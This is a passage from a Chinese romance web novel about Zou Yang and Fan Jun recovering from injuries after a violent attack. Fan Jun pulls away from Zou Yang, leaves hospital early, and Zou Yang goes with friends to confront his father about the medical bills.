刘文瑞离开病房没到十分钟,他的手机就响了。 邹飏迅速从枕头下面拿出手机看了一眼。 瑞思拜给他发了张照片,樊均的。 一看就是突然闯进病房拍的,照片上的樊均一脸茫然地看着镜头。 【瑞思拜】你给老子磕头 邹飏笑了笑。 【邹yang】磕头.gif 这张照片很清晰,邹飏把照片放大,盯着樊均占满了整个屏幕的脸。 的确是瘦了,眼神里透着疲惫。 “吃饭吗?”老妈把刚送过来的饭放到了他面前的桌板上。 邹飏赶紧把屏幕按黑了,手机塞回了枕头下面。 “跟刘文瑞聊呢?”老妈问。 “嗯。”邹飏应了一声。 樊均现在没有手机,似乎也没打算换手机,就那么直接跟外界断了联。 老妈大概是能猜到他跟刘文瑞会说什么,只是一直忍着没直接问。 邹飏也只能憋着装傻。 但晚上老妈会哭。 以为他睡着了之后躲在厕所里,压着声音哭。 听不到哭泣的声音,只能听到偶尔的抽气。 邹飏听得也很想哭。 老妈一直很喜欢樊均,懂事,稳当。 现在也应该还是喜欢的。 但也会埋怨,或者还有恨。 第二天一早,医生刚查完房没一会儿,宿舍几个人就拎着早餐来了病房。 “先吃东西,”刘文瑞把两个保温壶往床头柜上一放,“我妈给你炖的鸽子粥。” 几个人放桌板,把床板摇起来,配合默契。 “两壶?”邹飏问。 “还一壶是……”刘文瑞回头往门外看了一眼,“樊均的,你妈现在没空给他弄吃的吧,吕叔和吕泽看着也不是能做营养餐的。” “让樊均给你磕一个。”邹飏说。 “不敢当,我现在都不敢跟他说话,说实话我都没想过他能冷到这种程度……”刘文瑞又回头看了一眼门外。 “我妈出去了,说是活动活动,这会儿不会回来。”邹飏说。 “我们进来的时候碰到她了,”李知越说,“刚从……樊均病房那个楼出来。” “什么?”邹飏愣住了。 “去看樊均吧?”张传龙把保温壶里的粥用碗盛了出来放到他面前,“用喂吗?” “她不可能是去看樊均。”邹飏低声说。 “先吃,”李知越说,“吃完我们推你出去转转。” “嗯,”邹飏应了一声,“喂我。” 手腕和脖子上的勒伤好了很多,但还是缠着绷带,动的时候能感觉到正在愈合的伤口被牵拉着,有人喂会快很多。 刘文瑞拿起碗,舀了一勺送到他嘴边:“可以直接吃,我妈晾了一会儿才装的。” 邹飏吃了一口,很鲜,这么多天,第一次感觉到了饿。 刘文瑞又舀了一勺,看着他。 “直接喂过去,你还等他张嘴才往里倒吗?”李知越说。 “你来。”刘文瑞啧了一声。 李知越拿过了碗和勺,飞快地往邹飏嘴里送了一勺粥,邹飏刚咽下去,第二勺就又塞进了嘴里。 “干过填鸭。”张传龙在旁边感叹了一句。 填完鸭,刘文瑞去护士站借了轮椅过来,三个人把邹飏搬到了轮椅上。 “我自己也能行,我现在可以走动了的。”邹飏说。 “我们不值钱。”刘文瑞说,顺手把保温壶挂到了轮椅后头。 正把他往外推的时候,老妈从门外走了进来。 “去哪儿?”她震惊地问。 “出去透透气儿。”邹飏说。 “就到楼下院子里走走,”刘文瑞说,“阿姨放心,有我们几个守着,保证邹飏安全。” 老妈没有说话,只是看着邹飏,眼神里全是怀疑和痛苦。 邹飏偏了偏头,没有勇气跟老妈继续对视下去。 “别太久了,”老妈说,“他骨折还没好的,还得卧床。” “好的阿姨。”李知越点点头,推着轮椅就快步往外走,“就半小时。” “那个是什么?”老妈看到了挂在轮椅后面的保温壶。 这个没法回答,刘文瑞拎着俩壶进来的时候估计就没想好要怎么说,这会儿连李知越都卡了壳。 几个人只能用了最生硬的办法,集体沉默,推着轮椅冲出了门外。 “我操,怎么办?”出了电梯之后刘文瑞问了一句。 “去樊均病房。”邹飏说。 “我是说一会儿这个保温壶怎么解释?”刘文瑞说。 “现在点个远一点儿的外卖呗,送来了就装壶里,就说邹飏想吃,”李知越说着按下了对面电梯的按钮,“张传龙去买了带回来的,小店,不送外卖。” 电梯门打开,这半边楼的病房看上去跟邹飏那边没什么区别。 几个人推着他就往走廊最尽头走,尽头的那个单间,就是樊均的病房。 邹飏突然感觉胸带很紧,勒得他能感觉到自己强烈的心跳…… 他知道老妈刚才肯定去找过樊均,说了什么他虽然不愿意多想,差不多也能猜到一些,而以樊均的性格,现在未必愿意见到他。 但他还是想去看看樊均,想要见到他,触碰到他,听到他的声音。 吕泽站在病房门口正打电话,看到他们几个过来的时候,愣了好几秒才把电话往兜里一放,转头往病房里看了一眼,又转头看着他们,接着又转头看向病房,最后迎着他们走了过来。 “你能下床了吗?怎么跑过来了?”吕泽问。 “能。”邹飏没看他,只盯着半开的病房门。 刘文瑞推着他就继续往前。 吕泽抓住了轮椅:“他在换药,一会儿的。” “我要看。”邹飏说。 “他要看,他不怕,他……”刘文瑞继续推着他,“变态。” 两个护士站在病床边,小推车上是各种药和纱布,还有带血的。 “让你不要着急用力,不要老是活动,”一个护士说,“这样会好得很慢……” 刘文瑞把轮椅推到了樊均病床正前方,邹飏一眼就看到了他左胸上大片的伤口。 樊均似乎是没听到他们进来,感觉到前方有人才抬了抬头。 看到邹飏时,他愣住了。 “嗨,帅哥。”邹飏说。 第58章 病房里很静,没有人说话。 仪器在响,护士换药时拿起放下的镊子和剪刀发出的轻微金属声,每次一声响都会在邹飏的神经上落锤。 让他惊心而胆怯。 樊均看着他,没有回答。 他没有从樊均嘴里听到那句同样的“暗号”。 “别乱动了啊,”护士换好药又交待着,“欲速则不达知道吗?” 樊均还是看着邹飏,没有出声。 “行了,你们聊吧,”护士推着车往门外走,笑着说,“要开会吗,还得我们走了才能说。” “怕影响你们换药呢。”李知越说。 “不会的,”护士说,“不过别太闹啊,他俩都是重伤刚好一点,还要多静养的。” 门关上了。 吕泽跟着又推门进来,大概是感受到了气氛,在门口停了停才有些局促地走到樊均床边,凑近他右耳说了一句:“我先回去,小白要换药,我爸晚点儿过来。” “嗯。”樊均点了点头。 这简单的一声“嗯”,是从那天的恶梦之后,这么长时间以来,邹飏亲耳听到的第一声樊均的声音。 有些沙哑,不带什么情绪。 让他嗓子眼儿莫名发紧。 “他早餐在桌上,”吕泽指了指桌上的饭盒,“还没吃。” “交给我们了吕哥。”张传龙一拍胸口。 吕泽犹豫着,又往他们这几个人脸上看了一圈儿,走了出去。 病房里还是沉默一片。 沉默了大概十多秒,刘文瑞开口了:“吃……” “龙龙吃掉。”李知越走到桌边,打开几个保温饭盒看了看,拿了一个装着包子的递到张传龙面前。 “为什么?受伤不能吃包子吗?”张传龙一边问一边把几个包子都拿了出来。 “出去吃。”李知越打开刘文瑞带来的保温壶,把里面的鸽子粥倒进了饭盒里。 几个人很快就都走了出去,病房里就剩了邹飏和樊均两个人。 依然沉默着。 樊均一直都看着邹飏,又过了一会儿才问了一句:“还疼吗?” “不疼了,”邹飏开口的时候声音突然有点儿哑,他赶紧清了清嗓子,“一直有镇痛泵,本来也不怎么疼。” 樊均没再说话,但视线还是停留在他身上,很慢很细地一点点扫过。 邹飏犹豫了一下,手撑着轮椅慢慢站了起来。 他现在是能慢慢遛达一会儿的,医生也让他适当地活动一下。 这会儿就挺适当的。 “坐着。”樊均说。 “没事儿,医生说了要走走。”邹飏慢慢走到桌子旁边,拿了装着粥的饭盒,走到樊均床边,把饭盒放到了床头柜上。 又拿起桌板,架到了床上。 伸手再去拿饭盒的时候,樊均先他一步,拿过饭盒放到了桌板上,又看了看旁边的椅子:“坐着。” “嗯。”邹飏在床边坐下了。 樊均看着他,眉毛不自觉地拧着。 “我妈刚来过是吗?”邹飏问。 樊均没回答,似乎也没听到他的问题。 只是慢慢抬起手,手伸到了他颈侧,在邹飏已经能隐约能感觉到他掌心的温度时,又慢慢收了回去。 “嗯,来坐了一会儿。”樊均说。 “说什么了吗?”邹飏看了一眼他的手,想要直接抓过去,但还是忍住了。 “没,”樊均说,“吕叔没在,她过来看看。” “她和吕叔……”邹飏往前倾了倾,准备帮他把饭盒盖子打开。 但手被樊均按住了,摸到他手腕上的绷带时,又像触电似地松了手。 “他俩分了。”樊均单手打开了饭盒盖子,抠下盖子上的勺,低头慢慢吃了一口。 邹飏愣了愣,他能猜得到老妈跟吕叔肯定闹矛盾了,或者说老妈会埋怨吕叔,但直接分了手是他没想到的。 “为……什么?”他问。 “觉得你受伤都是因为她吧,”樊均盯着勺子里的粥,“从错的第一步回头。” 邹飏沉默了。 这句话让他突然有些害怕。 以老妈的语言风格和表达,她不会跟樊均说出这样的话。 这句话是樊均说的。 粥很香。 这段时间大部分时间里,樊均吃的都是医院的营养餐,清淡到连盐都不怎么放。 他一直也没什么感觉,有没有味道,好吃不好吃,都吃下去而已。 这张病床就是他的感知的全部范围,昏暗中没有声响,也没有疼痛,更不知道时间过去了多久。 今天这两口粥下去,总算有了味觉。 这一点点鲜香,慢慢浸润,打开了身体的沉闷。 他开始疼。 头,肩膀,胸口,胳膊,背……那些跳动着的锋利的刺痛,还有身体里的某些钝痛。 邹飏沉默地坐在旁边的椅子上,脸色比半个月之前好一些了。 之前他去做检查的时候,逼着吕泽推着他的轮椅“经过”了一次邹飏的病房。 虚掩的门缝里只能一晃而过看到邹飏苍白的脸,还有床边带血的管子。 严格来说,邹飏没有他伤得重。 但邹飏本不该受伤,一点都不应该。 他才应该是那天樊刚手下唯一受伤甚至死去的人。 “樊均。”邹飏开口叫了他一声。 “嗯。”樊均应着。 “我妈知道了,我……”邹飏说,“昏迷的时候应该是说了点儿什么。” “……嗯。”樊均放下手里的勺,转头看着他。 邹飏就是这样,永远没有委婉和迂回。 “她今天过来,真的没跟你说什么吗?”邹飏问。 “没,就坐了一会儿,吕泽也在。”樊均收回视线,看着粥。 珊姐的确什么都没有说,唯一的一句话是问他有没有好一点儿。 那份纠结着关心的疏离,太多情绪裹在一起。 珊姐并不是一个很会表达的人,她说不出来。 但樊均能感觉得到。 这件事之后,所有的一切都不一样了。 也回不到起点,过来的路都被毁掉了。 “那你怎么了。”邹飏问。 听到这句话时,樊均左胸开始抽动着地疼,疼痛从伤口之下,肌肉之下,更深的位置,从内向外刺破了本就没有愈合的伤。 你怎么了。 简单的一个问题,却没有办法周全地回答。 “这不是你的错。”邹飏说。 “我知道。”樊均开口时声音已经哑掉了。 不是我的错。 是樊刚的错。 我被毁掉的所有,都是樊刚的错。 每一个人都知道不是我的错。 甚至吕叔觉得是他的错,他不该搬回他和丽婶从小长大的南舟坪,被樊刚顺藤摸瓜地找到…… 但已经发生的一切,造成了这么严重后果的一切,又怎么可能是一句“不是你的错”能掩盖掉的呢。 那些身体上的,精神上的伤。 谁受到的伤害是能简单一句是谁的错就能过去了呢。 邹飏已经给过他如同幻梦的美好。 而在这之后还要邹飏陪着他耗掉那么多时间,去奔一个看不到希望的“以后”…… 他做不到。 “不说这个了,”邹飏说,“你好好养伤,我课还没上完呢,教练。” 樊均微微转过脸,看着他。 “我知道,你的伤,恢复的时间挺长的,”邹飏说,“给我延期就行。” “我可能,”樊均低声说,“不会再做教练了。” “为什么?”邹飏有些吃惊。 “你的课可以转给吕泽,他教得挺好的,”樊均说,“他也骂不过你。” “我问你为什么?”邹飏盯着他。 “不知道能恢复到什么程度,”樊均说,“我也不可能一直靠吕叔和吕泽……” “没事儿,干不了教练可以干别的,”邹飏说,“我陪着你。” 樊均看着他,很长时间才说了一句:“邹飏。” “嗯。”邹飏应了一声。 “……给自己点儿时间吧。”樊均说。 “什么时间?”邹飏靠在椅子上看着他。 冷却的时间。 思考的时间。 后悔的时间。 很多的时间,却没有一句樊均能直接说出口。 “你不是……”樊均低声说,低头舀起一勺粥,“为了拯救谁来的。” 邹飏没了声音。 “我长这么大……”樊均哑着嗓子,说得有些艰难,这一个月来他几乎没有怎么开过口,似乎已经快要忘了怎么说话了。 他整理了一下情绪:“虽然……但也碰到了太多好人,我不愿意谁再为我……付出什么了……” 我们本来就不是一个世界里的人。 就算珊姐跟吕叔在一起了,我们也不会有太多交集。 本就应该是仅仅知道对方名字的泛泛之交。 说完这些话,樊均没有再看邹飏。 只觉得眼睛又酸又胀,甚至有些发疼。 不得不拿起饭盒大口地喝着粥,把那种几乎是直穿过脑浆撞在头顶上的酸痛狠狠地咽下去。 “多久。”邹飏问。 什么? 樊均已经没有了声音,但还是能感觉到自己嘴唇在抖。 “你觉得我从喜欢你到不喜欢你的时间,”邹飏说,“是多久。” 樊均没有说话。 “那天你说的话,是认真的吗?”邹飏又问。 “是。”樊均回答。 邹飏沉默了很长时间才开口,轻声说:“我知道了。” 没等樊均再有什么反应,他慢慢从椅子上站了起来。 隔着门上玻璃看着里面的刘文瑞立马推开了门:“怎么?” “扶我一下。”邹飏说。 刘文瑞快步走过来,搀住了邹飏,把他扶到了轮椅上,过程中不停地转头往樊均那边看。 但樊均低着头,他始终没能跟樊均对上眼神。 “走吧,”邹飏坐在轮椅上,“去楼下花园转转。” “嗯。”刘文瑞推得很慢,在快出门的时候他终于没忍住,“樊哥?” “嗯?”樊均应了一声。 “走了啊。”刘文瑞说。 “……嗯。”樊均点了点头。 樊均的声音很低,带着颤抖。 邹飏听得很难受,手指跟着有些抖。 他没有想到过来看看樊均,最后会变成这样。 本来应该是故事里的一个节点,却突然变成了结局。 他说不清自己眼下是什么感觉。 震惊,难受,生气,无法理解……都有,但却也都很细微。 可能是他已经在自己没有觉察的时候有过太多设想,他一边谈不上多了解樊均,一边却又太清楚的他的性格。 他现在更多的,是心疼。 樊均决定要独自承担他认为本就该他一个人承受的所有。 邹飏只觉得迷茫。 心里完全是空的。 脑子里也是空的,无法应付,没有方向。 医院的小花园里已经洒上了阳光,刘文瑞把他推到一小片阳光里。 “晒晒太阳吧,一个月没见太阳了吧。” “嗯。”邹飏慢慢仰起头,脖子上的伤有些扯着疼,但他还是慢慢地仰过去,直到阳光铺满了他的脸。 他闭上眼睛,满目的金色。 上回这么坐在轮椅上仰着头,还是看月亮。 那个月亮旁边有樊均的脸的夜晚。 这才过了多久啊。 原来只是这么一点点的时间。 喜欢一个人只需要这么短的时间。 那从喜欢到不喜欢呢? 回到病房的时候,老妈正坐在床边,趴在床上睡觉。 听到动静,她迅速地直起身转过了头。 “晒太阳了?” “嗯。”邹飏点点头。 “脸都晒红了,”老妈笑了笑,“舒服吗?” “舒服。”邹飏也笑笑。 “阿姨,我们帮邹飏洗个澡,”刘文瑞说,“他都臭了。” “放你的屁我天天擦着的。”邹飏说。 “你现在就指着我们呢,嘴消停一会儿。”刘文瑞说。 邹飏叹了口气。 “这个壶……怎么又拿回来了?”老妈问。 “拿出去给邹飏买小馄饨了,”李知越说,“他非说想吃学校那边那家小馄饨,人家不送外卖,张传龙跑了一趟买回来的。” “跑那么远啊。”老妈说。 “没事儿,”张传龙说,“我好歹是个练家子。” “你是个什么玩意儿?”刘文瑞声音都扬起来了。 “阿姨,邹飏让你看我们拍的艺术照了没?我那张……”张传龙比划着,抬起了腿,又把手举过了头顶,“能踢那么高。” 老妈抬头看了看他的手,又低头看了看他的腿,半天才应了一声:“哦,踢得……很高啊?” “嗯。”张传龙点头。 李知越笑得都咳嗽了。 好在这一打岔,老妈也没再关注保温壶到底怎么回事儿,刘文瑞把邹飏推进了卫生间。 “刚人多,我也没好问你,”刘文瑞开了水,把花洒对着地上的桶喷着,“你俩怎么回事儿?” “你别拿那个直接冲我啊。”邹飏说。 “少废话,”刘文瑞说,“不老实我就拿它冲你。” “也没什么。”邹飏轻轻叹了口气。 刘文瑞小心地帮他把病号服脱掉,低声问:“是不是你妈跟他说什么了?” “没,什么都没说,”邹飏说,“就是去看看樊均。” “能感觉到什么吧,”刘文瑞扶着他站起来,“我扒你裤子了啊。” “别说得这么……到底谁变态?”邹飏说。 “你妈不说什么,但相处起来肯定也不是以前那样了,”刘文瑞扯下他病号服的裤子,“他肯定能感觉到,你妈一直不去看也是对的,这一去……但不去看好像也不正常……” “你别费劲琢磨了。”邹飏说。 “所以你俩现在怎么样了?”刘文瑞问。 邹飏没出声。 “分了?”刘文瑞又追了一问。 邹飏拿过了挂着的擦脸毛巾,在脸上擦了擦,接着就捂在了眼睛上。 别哭。 邹飏你怎么这么能哭。 …… “哭吧没事儿,”刘文瑞在他背上轻轻摸着,“现在哭好了一会儿出去眼睛就不红了,哭完了还得红着眼睛出去……” 邹飏把毛巾递给了他。 “嗯?”刘文瑞愣了愣,凑到他脸旁边看了看,“没哭啊?” 是的。 没哭。 明明心里那么堵,那么难受。 居然哭不出来。 不知道是不是心里没有想法了,或者是所有悬着的都已经摔到了地上,邹飏突然平静了。 甚至没有了时间的概念。 刘文瑞他们来了,刘文瑞他们走了,开学了,请了半个月的假,能把国庆的假都续上了…… 快要过生日了。 可以出院了。 日子就这么没有知觉地滑了过去,带着邹飏感知不到的痛苦。 “回家还能休息几天再去学校,”张传龙说,“系里都知道你的事儿了,死里逃生的传奇。” “我查一下。”李知越拿出手机。 “查什么?”张传龙问。 “有没有什么哑药。”李知越说。 “有话直说好吗,”张传龙说,“是不是朋友了。” “闭嘴。”李知越直说了。 “手续都办好了,”刘文瑞走进病房,“我车就在停车场,可以走了。” “我要……”邹飏看了站在旁边的老妈一眼,“先去樊均病房。” 老妈没有说话,只是点了点头。 几个人拿了东西,陪着他一块儿进了电梯,下楼,换电梯,上楼。 邹飏并没有很急切,但心跳还是莫名会加快。 经过护士站的时候,一个护士叫住了他们:“哎?是小樊的朋友吧,之前来过的,你出院了吗?” “嗯,今天。”邹飏点了点头。 正要往前走的时候,护士又叫住了他:“樊均上周出院了啊。” “什么?”刘文瑞立马往接诊台走了过去,“他出院了?他比邹飏伤得重吧,怎么还能比他早出院?” “他着急出院,勉强够条件吧,”护士说,“劝不住,签了字就走了。” 刘文瑞还跟护士说了什么,邹飏没听,他拿出手机飞快地给樊均发了条消息。 【邹yang】你出院了? 一直到离开住院部到上了刘文瑞的车,樊均也没有回复。 第59章 “我爸不是说了让你打车过来,不要自己骑车。”吕泽打开门看到樊均手里的头盔,立马拧起了眉头。 “吹吹风。”樊均进了屋,直接走到客厅沙发边的垫子旁。 垫子上躺着睡觉的小白惊醒了,立马一个翻身坐了起来。 “不动。”樊均伸手摸了摸小白的头。 小白在他手上拼命舔着,看起来很开心。 小白前腿上的两处骨折已经没有什么大问题,就是右眼……受伤的眼球无法恢复,只能摘除,现在伤口已经愈合,不过还能看到缝合的痕迹。 小白倒是已经完全适应了一只眼睛的生活,除了晚上偶尔会突然惊叫。 “你能不能行,不行它放我这儿多养一阵儿也没事儿。”吕泽说。 “我现在也得每天活动,正好遛它,它也不会乱跑。”樊均看着小白。 小白舔完他右手,开始在他左手上细细地嗅着,似乎能感知到这条胳膊跟以前不一样了。 “随便你,你反正就是犟,”吕泽说,“不行再打电话吧。” “嗯。”樊均应了一声。 “别光嗯,”吕泽说,“手机买了没?” “还没。”樊均说。 “那你嗯什么?”吕泽问。 “……嗯。”樊均想试着用左手挠挠小白的下巴,但没成功。 小白拱了拱它的手,最后用嘴轻轻叼住了。 “白,走,”樊均把手抽了出来,伸出右手拍了拍小白的头,“跟吕泽哥哥说谢谢。” 小白欢快地跳了起来,直接往吕泽身上一扑。 “哎!”吕泽喊了起来,“干什么!行了!让它走开。” “白,定。”樊均给小白下了指令。 小白老实地坐好了。 樊均拿过牵引绳,右手单手往它项圈上扣了几下都没扣上,左手想帮一下忙的时候吕泽的手伸了过来。 樊均迅速收回拿着牵引绳的右手:“我自己。” 吕泽没再管他,坐到了一边的椅子上看着。 又挂了两下,樊均把牵引绳挂到了项圈上。 离开吕泽新租的房子,站在楼下,转过一个路口,就是新新馆了,很近。 他还想着以后也到这个小区来租个房…… 樊均跨上了车,小白坐到了踏板上,爪子搭在车把上,虽然只有一只眼睛,也还是像以前一样,端正地看着前方。 他左手现在不太能抓握,左臂能抬起来的角度也受限,只能放在车把上摆个样子,严格来说不安全,但也能骑,至少比那些一边骑车一边玩手机的强。 吕泽肯定在楼上窗口看着他,他俩这十几年关系都谈不上好,但这次的事儿,无论是吕叔还是吕泽,都怕他再有什么意外。 所以他以最快最熟练的姿态一拧车把,骑了出去。 他总觉得吕泽是怕他会自杀。 自杀是不会的。 那么苦那么恐惧的时候也没有想过自杀。 何况现在。 只是痛。 不是那种撕心裂肺痛彻心扉的痛。 是钝痛。 隐在呼吸之后,藏在半梦半醒之间,有时候觉察不到,但它一直都在。 回到南舟坪,先把小白带回了家。 出电梯的时候对面老头儿正好开了门要出来,一听动静立马把门关上了。 大概是躲在门后观察,发现是樊均,就又打开了门。 但没出来,只是盯着他的脸。 自从他出院回来之后,老头儿每天都会到他门口来听动静,说不清是关心还是害怕,这还是两人头一回碰面。 樊均看了他一眼,老头儿一脸纠结着的害怕,退回屋里关了门。 自己这会儿看上去比以前更不像好人了,虽然戴了帽子,但右眼角不知道是被刀还是被什么划开的口子,现在正是最狰狞的样子。 樊均进了屋,关上门之后小白就在屋里细细地嗅着,在猫窝旁嗅了很长时间。 “大黑还没找到,”樊均说,“不知道藏哪儿了,晚上咱俩出去放罐头,大黑胆子太小,白天都不敢出来,之前吕叔晚上放的都被吃了,就是没见着猫。” 小白哼唧着。 屋里都已经收拾干净,摔坏的桌椅家具都拿走了,因为他打算搬家,所以也没补上。 现在客厅里空了几块,看着很不适应。 住了那么多年的地方,突然变得陌生。 也不太待得住。 每一个角落都看过去似乎都有人影。 这个曾经无比舒适的小屋,已经被毁掉了,他甚至清楚地记得哪里有血迹。 邹飏的,他的。 “我出去一趟,看看孙旭磊……”樊均说到一半,从颈侧和肩开始隐隐作痛突然强烈起来,持续的疼痛不断扑向手臂。 没多大一会儿,他汗都下来了。 “你在家……”樊均拿过放在沙发上的护肘,戴到了胳膊上,“等我。” 小白在猫窝旁边的垫子上趴下了。 樊均出了门,关门的时候又停下了动作。 顿了顿,他推开门冲小白吹了声口哨:“你跟着我。” 小白跳了起来,顺嘴叼过了门边的牵引绳,为了之后方便,他是直接把项圈连着牵引绳一块儿摘掉的,这会儿只需要把项圈往小白脑袋上一套就行。 “多方便。”他摸了摸小白的头。 孙旭磊已经恢复,还是跟奶奶住,离得不远,走着去就可以。 孙老五因为被派出所和街道警告,加上街坊邻居都盯着,听说最近到他老娘这儿来的时候收敛了不少。 吕叔之前每次去医院照顾他,都会给他说些孙旭磊的情况。 孙旭磊是在网上认识了一个说是能给他介绍工作的人,直接就投奔人家去了,结果到了地方才发现,对面是几个十五六岁的小孩儿。 刚见面他就被带到一个烂尾楼里一顿暴打,拿走了手机抢光了钱,一关就是半个月,不为别的,就是打着解闷儿…… 最后他是趁着这帮人出去吃饭,从二楼跳了下去,再一路爬出去求救的。 “那帮小孩儿,抓了一查,”吕叔叹着气,“全是家里有问题的,单亲的,跟着老人的,还有干脆一个人住的,还全是未成年……” 樊均轻轻叹了口气,抬眼看了看四周。 路上能感觉到不少人在看他,店铺门口坐着的人,都不认识,但有些能算个脸熟。 南舟坪虽然混乱,打架斗殴溜门破锁的事儿不少,持枪入室的命案起码在樊均当NPC这十几年里还没碰到过。 他现在就是这些人身边活生生的恐怖故事。 他和他的那些过往,会被一点一点扒出来,成为唏嘘的谈资。 每个人看他的目光里都带着复杂的情绪。 同情,感慨,恐惧,都有点儿。 更多的是猎奇。 他能想象,在他住院的这段时间里,吕叔和吕泽每天会面对什么。 各种探究和议论,各种猜测和脑补,哪怕都没有主观恶意,也同样会让人不舒服,武馆的生意都会受影响。 孙旭磊正坐在他奶奶家早年圈地运动中强行围出来的违建小院儿里发呆。 看到樊均的时候,他一下就站了起来,瞪着樊均看了好一会儿,冲过来把小院儿围栏的门打开了,一开口全是颤音:“樊哥。” “挺精神,伤好得怎么样了?”樊均问。 “都好利索了,我这伤不严重,”孙旭磊摸着小白的头,又盯着他的脸和左手看了看,眼眶瞬间就红了,“你这怎么回事儿啊……” “憋回去啊,”樊均指了他一下,走进院子里坐下了,“要不我就走。” “嗯。”孙旭磊揉了揉眼睛,转身跑进屋里倒了杯水出来递给樊均,“我给你打电话也打不通,微信你也不回。” “我手机坏了还没换新的。”樊均说。 “过几天我就可以天天去新馆那边儿了,你能带我练了吗?”孙旭磊问。 “你又旷课?”樊均皱了皱眉。 “过几天放假了啊,”孙旭磊说,“十一。” 樊均愣了一下,自打住院之后,他就没有了时间这个概念。 已经快十月了吗? 在医院病房里看着窗外明明暗暗的日子里,浑浑噩噩里时间明明很难熬。 一回头却发现时间又可以这么快。 邹飏的生日是十月。 他不知道是十月的哪一天。 那会儿他并不能预知未来,只觉得时间差不多了就可以问问珊姐。 现在却没有机会了。 他没有人可以问,也不需要再知道了。 “樊哥?樊哥?你没事儿吧?”孙旭磊有些焦急的声音在他耳边,像是隔着一层雾。 “没事儿。”樊均回答了之后才明白孙旭磊为什么要这么问。 左臂的放射般的疼痛让他脑门儿上全是汗。 “吕泽说你提前出院的,”孙旭磊说,“你是不是还没全好啊。” “这几天就是我差不多可以出院的时间了。”樊均说。 “那你也不是这几天才出院的啊。”孙旭磊虽然被暴打一顿,但脑子还是好用的,“那能一样吗?” “行了,”樊均站了起来,“我就是来看看你,走了。” “我明天去馆里啊,你去吗?”孙旭磊问。 “不去。”樊均说。 “什么时候去?”孙旭磊又问。 “……不知道,”樊均说,“你让帮哥带你吧。” “啊?”孙旭磊愣住了。 樊均沉默着往前,走出小巷,回到街上时,疼痛总算是稍微缓解了一些。 他也是这会儿才想起来今天的药还没吃。 “樊均!”有人喊他,听得出来是提高了声调的。 但他一时间没判断出来方向。 左边飞过来一个小小的快递箱,他抬手接住了,转头看到了大头鱼。 他已经走到了大头鱼的驿站。 大头鱼冲他竖了竖拇指:“这反应,还是那么牛逼……有你快递。” “你扔我快递?”樊均看了看手里的快递盒子,“我快递可是手机。” “我能扔你的吗!那是我买的鱼钩,”大头鱼招招手,“你的在这儿。” 樊均进了屋,小白照例在墙边找了个纸皮坐下。 “你怎么样?”大头鱼一边给他找快递一边打量着他,“怎么感觉你耳朵又严重了?” “嗯,”樊均靠着桌子,应了一声,“听不见了。” “左边儿吗?”大头鱼愣了愣。 樊均点了点头。 “右边儿呢?”大头鱼问。 “还凑合。”樊均看着他。 “我操,”大头鱼拿着他的快递走了过来,“那……戴助听器呢?” “助听器不是助聋器,”樊均接过快递看了看,是他买的手机,“看之后有没有可能恢复吧。” “均儿。”大头鱼看着他,看样子是想要憋两句安慰的话出来。 樊均把快递又递给了他,“帮我拆一下。” “你手……”大头鱼叹了口气,拿起了旁边的刀,“等着,帮你拆出来。” 拆完快递,大头鱼把安慰他的事儿也忘了,樊均拿了手机离开了驿站。 回到屋里,樊均拿着新手机在沙发上愣了好半天,才找出手机卡装上去开了机。 重新登陆微信,未读消息不多,基本都是群聊,大部分都已经过了时效丢失了。 但【邹yang】的头像上有一个小小的“1”。 【邹yang】你出院了? 樊均下意识地往下扒拉了一下对话框,但并没有更多的内容出现。 他和邹飏的聊天记录都没有了。 只剩下了孤零零的这一行字。 他又点开邹飏的头像看了很长时间,小猪还是指着天,气宇轩昂。 放下手机,他脱掉了T恤,起身活动了一下左肩,走到墙边的架子前,左手慢慢放到一个五公斤的哑铃上,一点点努力握紧,再松开,接着再握紧。 手抖得很厉害,连着着胸口的肌肉也跟着有些抽搐。 其实抓握训练并不需要用哑铃,抓什么都行,抓空气都可以。 但他还是想要感知到某个熟悉的东西,用他以前每天都会做的某个动作。 练了差不多半小时,汗就下来了,他打开了空调,拉开冰箱,拿了瓶水出来。 冰箱里的饮料都还是原样,他把倒了的几瓶都扶起来放好。 准备关上冰箱门的时候,他看到了冷冻抽屉。 犹豫了两秒,他拉开了抽屉。 里面没有什么别的冻品,一眼就能看到那个被他用密封袋装着的巧克力牌子。 从此坦途。 这一瞬间,脑子里的某个地方就像被人砸了一锤,无数的回忆奔涌而出。 各种画面和声响混乱地充斥着他身体里的每一寸,把他一点点往下拉去,窗外的光都淡了。 他几乎有些喘不过气来,扶着冰箱门无法动弹…… 不知道多长时间,他才在尖锐而微弱的报警声中关上了冰箱门。 转身的时候感觉脸上有些痒。 抬手抓了一下。 指尖是湿的。 “全部单子的复印件都在这儿了,”老妈打开一个文件夹,把里面各种检查报告收费单的复印件都拿了出来,“你要这个干嘛?” 邹飏低头把单子一张张地翻看了一遍:“去要钱。” “什么?”老妈愣了愣,“问谁要?” “能问谁啊,”邹飏推了推眼镜,“你前夫。” 老妈没说话,过了一会儿才伸手按在了这些单据上:“小飏啊,他出钱是应该的,我觉得得让他拿钱,但是……过段时间吧?或者我去也行,他总不敢不见我……你刚出院,也没好透……” “没好透就对了,”邹飏把单子们抽了出来放进文件夹,“谁敢刺激我,我立马躺下,这钱还得往上加。” “小飏……”老妈有些手足无措,想要拦他。 “放心,”邹飏的手机响了,他接起电话,“我不是一个人过去。” “没错!你不是一个人过去!你是一只羊和三个练家子过去!”刘文瑞的声音传了出来,“我们到楼下了。” “走了,刘文瑞他们在楼下等我了。”邹飏拿起文件夹打开了门。 “别跟他动手啊!”老妈有些慌乱地跟在他身后。 “他不跟我动手我就不跟他动手。”邹飏说。 “他跟你动手,他跟你动……他动你,”老妈有些语无伦次,最后喊了起来,“我就跟他拼了!我让他全家——” “妈,妈,”邹飏捂住了她的嘴,“我有数。” 几个人站在老爸家门口,还是很有气势的,楼道都有些拥挤。 “一会儿进去怎么弄?”张传龙问。 “不知道。”邹飏说。 “你不说你有数吗?”刘文瑞愣了,“数呢?” “一二三。”李知越说。 “他给你数了。”邹飏说完就按响了门铃。 “这么快?”女人说着话就打开了门。 看到门外站着的几个人时,她顿时一怔,接着就要关门。 邹飏一脚顶在了门上:“我爸呢?” “你们要干什么?”女人又使了使劲想要把门推过来。 “警告你,我伤还没好,”邹飏看着她,“那边案子也还没结,我作为证人,出了什么问题,警察来找你的时候别说我没提醒你。” “怎么了?”老爸的声音从茶室传了出来,跟着人也快步走到了客厅。 “你的报应儿子!带着人!”女人喊。 “你说的什么乱七八糟!”老爸沉着声音,盯了邹飏一眼,“像什么话!让他们进来。” 女人非常不情愿地松了手,转身走到老爸身边站下了。 邹飏推开门,几个人一块儿进了屋。 